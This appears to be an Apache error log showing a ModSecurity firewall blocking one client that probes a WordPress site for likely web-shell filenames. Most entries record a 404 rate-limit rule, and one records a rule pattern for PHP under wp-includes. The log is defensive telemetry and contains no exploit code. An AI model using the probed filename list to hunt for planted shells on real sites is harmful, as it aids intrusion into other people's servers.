[Fri Apr 24 06:43:55.726060 2026] [:error] [pid 52129:tid 52147] [client 74.248.17.200:26934] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeqgq-KCZKf8_u2LKiB-nAAAAQ4"]
[Fri Apr 24 06:43:56.555702 2026] [:error] [pid 52129:tid 52139] [client 74.248.17.200:42065] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeqgrOKCZKf8_u2LKiB-pAAAAQY"]
[Fri Apr 24 06:43:57.244164 2026] [:error] [pid 52129:tid 52150] [client 74.248.17.200:27780] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeqgreKCZKf8_u2LKiB-qwAAARE"]
[Fri Apr 24 06:43:57.981967 2026] [:error] [pid 19200:tid 19232] [client 74.248.17.200:27805] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filefuns.php"] [unique_id "aeqgrTQ--M3-tsKAnhGy6AAAANg"]
[Fri Apr 24 06:43:58.715701 2026] [:error] [pid 19200:tid 19209] [client 74.248.17.200:27835] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filefuns.php"] [unique_id "aeqgrjQ--M3-tsKAnhGy8wAAAME"]
[Fri Apr 24 06:43:59.514140 2026] [:error] [pid 52129:tid 52135] [client 74.248.17.200:26458] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filefuns.php"] [unique_id "aeqgr-KCZKf8_u2LKiB-vwAAAQI"]
[Fri Apr 24 06:44:01.075767 2026] [:error] [pid 52129:tid 52138] [client 74.248.17.200:26455] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filefuns.php"] [unique_id "aeqgseKCZKf8_u2LKiB-yQAAAQU"]
[Fri Apr 24 06:44:02.723263 2026] [:error] [pid 52129:tid 52135] [client 74.248.17.200:16986] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "aeqgsuKCZKf8_u2LKiB-zwAAAQI"]
[Fri Apr 24 06:44:03.917475 2026] [:error] [pid 52129:tid 52153] [client 74.248.17.200:13274] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "aeqgs-KCZKf8_u2LKiB-0wAAARQ"]
[Fri Apr 24 06:44:05.108850 2026] [:error] [pid 19200:tid 19226] [client 74.248.17.200:34109] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "aeqgtTQ--M3-tsKAnhGzFgAAANI"]
[Fri Apr 24 06:44:07.167630 2026] [:error] [pid 19102:tid 19186] [client 74.248.17.200:16966] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "aeqgtwDSgrbLEZbkqD7WewAAAJY"]
[Fri Apr 24 06:44:09.299471 2026] [:error] [pid 52129:tid 52133] [client 74.248.17.200:6665] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aeqgueKCZKf8_u2LKiB-5QAAAQA"]
[Fri Apr 24 06:44:10.855757 2026] [:error] [pid 52129:tid 52140] [client 74.248.17.200:38397] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aeqguuKCZKf8_u2LKiB-6wAAAQc"]
[Fri Apr 24 06:44:12.131350 2026] [:error] [pid 52129:tid 52145] [client 74.248.17.200:34708] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aeqgvOKCZKf8_u2LKiB-9AAAAQw"]
[Fri Apr 24 06:44:13.060642 2026] [:error] [pid 19101:tid 19158] [client 74.248.17.200:16977] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aeqgvWAHj9bEvrTgbO3b5gAAAFU"]
[Fri Apr 24 06:44:13.966690 2026] [:error] [pid 19200:tid 19211] [client 74.248.17.200:11538] [client 74.248.17.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "aeqgvTQ--M3-tsKAnhGzLgAAAMM"]
[Fri Apr 24 06:44:15.089461 2026] [:error] [pid 19200:tid 19220] [client 74.248.17.200:38389] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "aeqgvzQ--M3-tsKAnhGzNAAAAMw"]
[Fri Apr 24 06:44:15.976327 2026] [:error] [pid 19102:tid 19185] [client 74.248.17.200:11581] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "aeqgvwDSgrbLEZbkqD7WhAAAAJU"]
[Fri Apr 24 06:44:16.917696 2026] [:error] [pid 19200:tid 19224] [client 74.248.17.200:17406] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "aeqgwDQ--M3-tsKAnhGzNgAAANA"]
[Fri Apr 24 06:44:17.642443 2026] [:error] [pid 19102:tid 19188] [client 74.248.17.200:34081] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "aeqgwQDSgrbLEZbkqD7WhwAAAJg"]
[Fri Apr 24 06:44:18.878943 2026] [:error] [pid 19102:tid 19187] [client 74.248.17.200:34089] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1a.php"] [unique_id "aeqgwgDSgrbLEZbkqD7WiAAAAJc"]
[Fri Apr 24 06:44:19.605477 2026] [:error] [pid 19200:tid 19209] [client 74.248.17.200:6717] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1a.php"] [unique_id "aeqgwzQ--M3-tsKAnhGzOQAAAME"]
[Fri Apr 24 06:44:20.575106 2026] [:error] [pid 52129:tid 52153] [client 74.248.17.200:25961] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1a.php"] [unique_id "aeqgxOKCZKf8_u2LKiB_HwAAARQ"]
[Fri Apr 24 06:44:21.195886 2026] [:error] [pid 19200:tid 19211] [client 74.248.17.200:17360] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1a.php"] [unique_id "aeqgxTQ--M3-tsKAnhGzOwAAAMM"]
[Fri Apr 24 06:44:21.919190 2026] [:error] [pid 52129:tid 52147] [client 74.248.17.200:17370] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeqgxeKCZKf8_u2LKiB_JgAAAQ4"]
[Fri Apr 24 06:44:22.790010 2026] [:error] [pid 19200:tid 19220] [client 74.248.17.200:25898] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeqgxjQ--M3-tsKAnhGzPQAAAMw"]
[Fri Apr 24 06:44:23.717754 2026] [:error] [pid 19101:tid 19141] [client 74.248.17.200:22982] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeqgx2AHj9bEvrTgbO3b6QAAAEQ"]
[Fri Apr 24 06:44:24.427550 2026] [:error] [pid 19200:tid 19224] [client 74.248.17.200:36489] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeqgyDQ--M3-tsKAnhGzQAAAANA"]
[Fri Apr 24 06:44:25.170388 2026] [:error] [pid 19200:tid 19227] [client 74.248.17.200:15070] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeqgyTQ--M3-tsKAnhGzRAAAANM"]
[Fri Apr 24 06:44:26.078156 2026] [:error] [pid 19100:tid 19127] [client 74.248.17.200:13284] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeqgyrF_hzQs4CqbifcVEQAAABE"]
[Fri Apr 24 06:44:26.720988 2026] [:error] [pid 52129:tid 52145] [client 74.248.17.200:25895] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeqgyuKCZKf8_u2LKiB_PwAAAQw"]
[Fri Apr 24 06:44:27.689648 2026] [:error] [pid 52129:tid 52136] [client 74.248.17.200:26386] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeqgy-KCZKf8_u2LKiB_RgAAAQM"]
[Fri Apr 24 06:44:28.760065 2026] [:error] [pid 52129:tid 52143] [client 74.248.17.200:12034] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeqgzOKCZKf8_u2LKiB_TgAAAQo"]
[Fri Apr 24 06:44:29.616006 2026] [:error] [pid 52129:tid 52146] [client 74.248.17.200:19686] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeqgzeKCZKf8_u2LKiB_VAAAAQ0"]
[Fri Apr 24 06:44:30.975632 2026] [:error] [pid 19100:tid 19111] [client 74.248.17.200:25923] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeqgzrF_hzQs4CqbifcVFAAAAAI"]
[Fri Apr 24 06:44:32.655744 2026] [:error] [pid 19102:tid 19169] [client 74.248.17.200:13790] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeqg0ADSgrbLEZbkqD7WjQAAAIU"]
[Fri Apr 24 06:44:35.656614 2026] [:error] [pid 52129:tid 52140] [client 74.248.17.200:28805] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tramuibs.php"] [unique_id "aeqg0-KCZKf8_u2LKiB_bQAAAQc"]
[Fri Apr 24 06:44:38.900285 2026] [:error] [pid 52129:tid 52145] [client 74.248.17.200:18546] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tramuibs.php"] [unique_id "aeqg1uKCZKf8_u2LKiB_dgAAAQw"]
[Fri Apr 24 06:44:41.024837 2026] [:error] [pid 19101:tid 19153] [client 74.248.17.200:6412] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tramuibs.php"] [unique_id "aeqg2WAHj9bEvrTgbO3b7gAAAFA"]
[Fri Apr 24 06:44:42.512601 2026] [:error] [pid 19101:tid 19150] [client 74.248.17.200:24334] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tramuibs.php"] [unique_id "aeqg2mAHj9bEvrTgbO3b7wAAAE0"]
[Fri Apr 24 06:44:43.939689 2026] [:error] [pid 19100:tid 19124] [client 74.248.17.200:21996] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/19.php"] [unique_id "aeqg27F_hzQs4CqbifcVKQAAAA4"]
[Fri Apr 24 06:44:46.871053 2026] [proxy_fcgi:error] [pid 19101:tid 19140] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:47.161577 2026] [proxy_fcgi:error] [pid 19101:tid 19143] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:47.450135 2026] [proxy_fcgi:error] [pid 19101:tid 19161] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:47.750777 2026] [proxy_fcgi:error] [pid 19101:tid 19158] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:48.042403 2026] [proxy_fcgi:error] [pid 19101:tid 19142] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:48.725401 2026] [proxy_fcgi:error] [pid 19101:tid 19151] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:49.013751 2026] [proxy_fcgi:error] [pid 19101:tid 19141] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:49.304186 2026] [proxy_fcgi:error] [pid 19101:tid 19154] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:49.593552 2026] [proxy_fcgi:error] [pid 19101:tid 19160] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:49.882860 2026] [proxy_fcgi:error] [pid 19101:tid 19144] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:50.171413 2026] [proxy_fcgi:error] [pid 19101:tid 19147] [client 74.248.17.200:18130] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:44:50.511081 2026] [:error] [pid 19101:tid 19153] [client 74.248.17.200:18130] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wwx.php"] [unique_id "aeqg4mAHj9bEvrTgbO3cBAAAAFA"]
[Fri Apr 24 06:44:51.492345 2026] [:error] [pid 19200:tid 19222] [client 74.248.17.200:18164] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wwx.php"] [unique_id "aeqg4zQ--M3-tsKAnhGzkgAAAM4"]
[Fri Apr 24 06:44:53.620412 2026] [:error] [pid 19200:tid 19226] [client 74.248.17.200:22405] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wwx.php"] [unique_id "aeqg5TQ--M3-tsKAnhGzlwAAANI"]
[Fri Apr 24 06:44:54.792748 2026] [:error] [pid 19101:tid 19138] [client 74.248.17.200:14065] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wwx.php"] [unique_id "aeqg5mAHj9bEvrTgbO3cDwAAAEE"]
[Fri Apr 24 06:44:55.894902 2026] [:error] [pid 19200:tid 19224] [client 74.248.17.200:11672] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "aeqg5zQ--M3-tsKAnhGzmgAAANA"]
[Fri Apr 24 06:44:56.906333 2026] [:error] [pid 19101:tid 19149] [client 74.248.17.200:29494] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "aeqg6GAHj9bEvrTgbO3cFAAAAEw"]
[Fri Apr 24 06:44:58.289025 2026] [:error] [pid 19101:tid 19161] [client 74.248.17.200:29499] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "aeqg6mAHj9bEvrTgbO3cFQAAAFg"]
[Fri Apr 24 06:44:59.359915 2026] [:error] [pid 19101:tid 19151] [client 74.248.17.200:6382] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trx24.php"] [unique_id "aeqg62AHj9bEvrTgbO3cFgAAAE4"]
[Fri Apr 24 06:45:00.162488 2026] [:error] [pid 52129:tid 52156] [client 74.248.17.200:37074] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aeqg7OKCZKf8_u2LKiB_pAAAARc"]
[Fri Apr 24 06:45:01.589812 2026] [:error] [pid 52129:tid 52149] [client 74.248.17.200:29469] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aeqg7eKCZKf8_u2LKiB_qQAAARA"]
[Fri Apr 24 06:45:02.485550 2026] [:error] [pid 52129:tid 52141] [client 74.248.17.200:6386] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aeqg7uKCZKf8_u2LKiB_rgAAAQg"]
[Fri Apr 24 06:45:03.262137 2026] [:error] [pid 52129:tid 52137] [client 74.248.17.200:6357] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aeqg7-KCZKf8_u2LKiB_rwAAAQQ"]
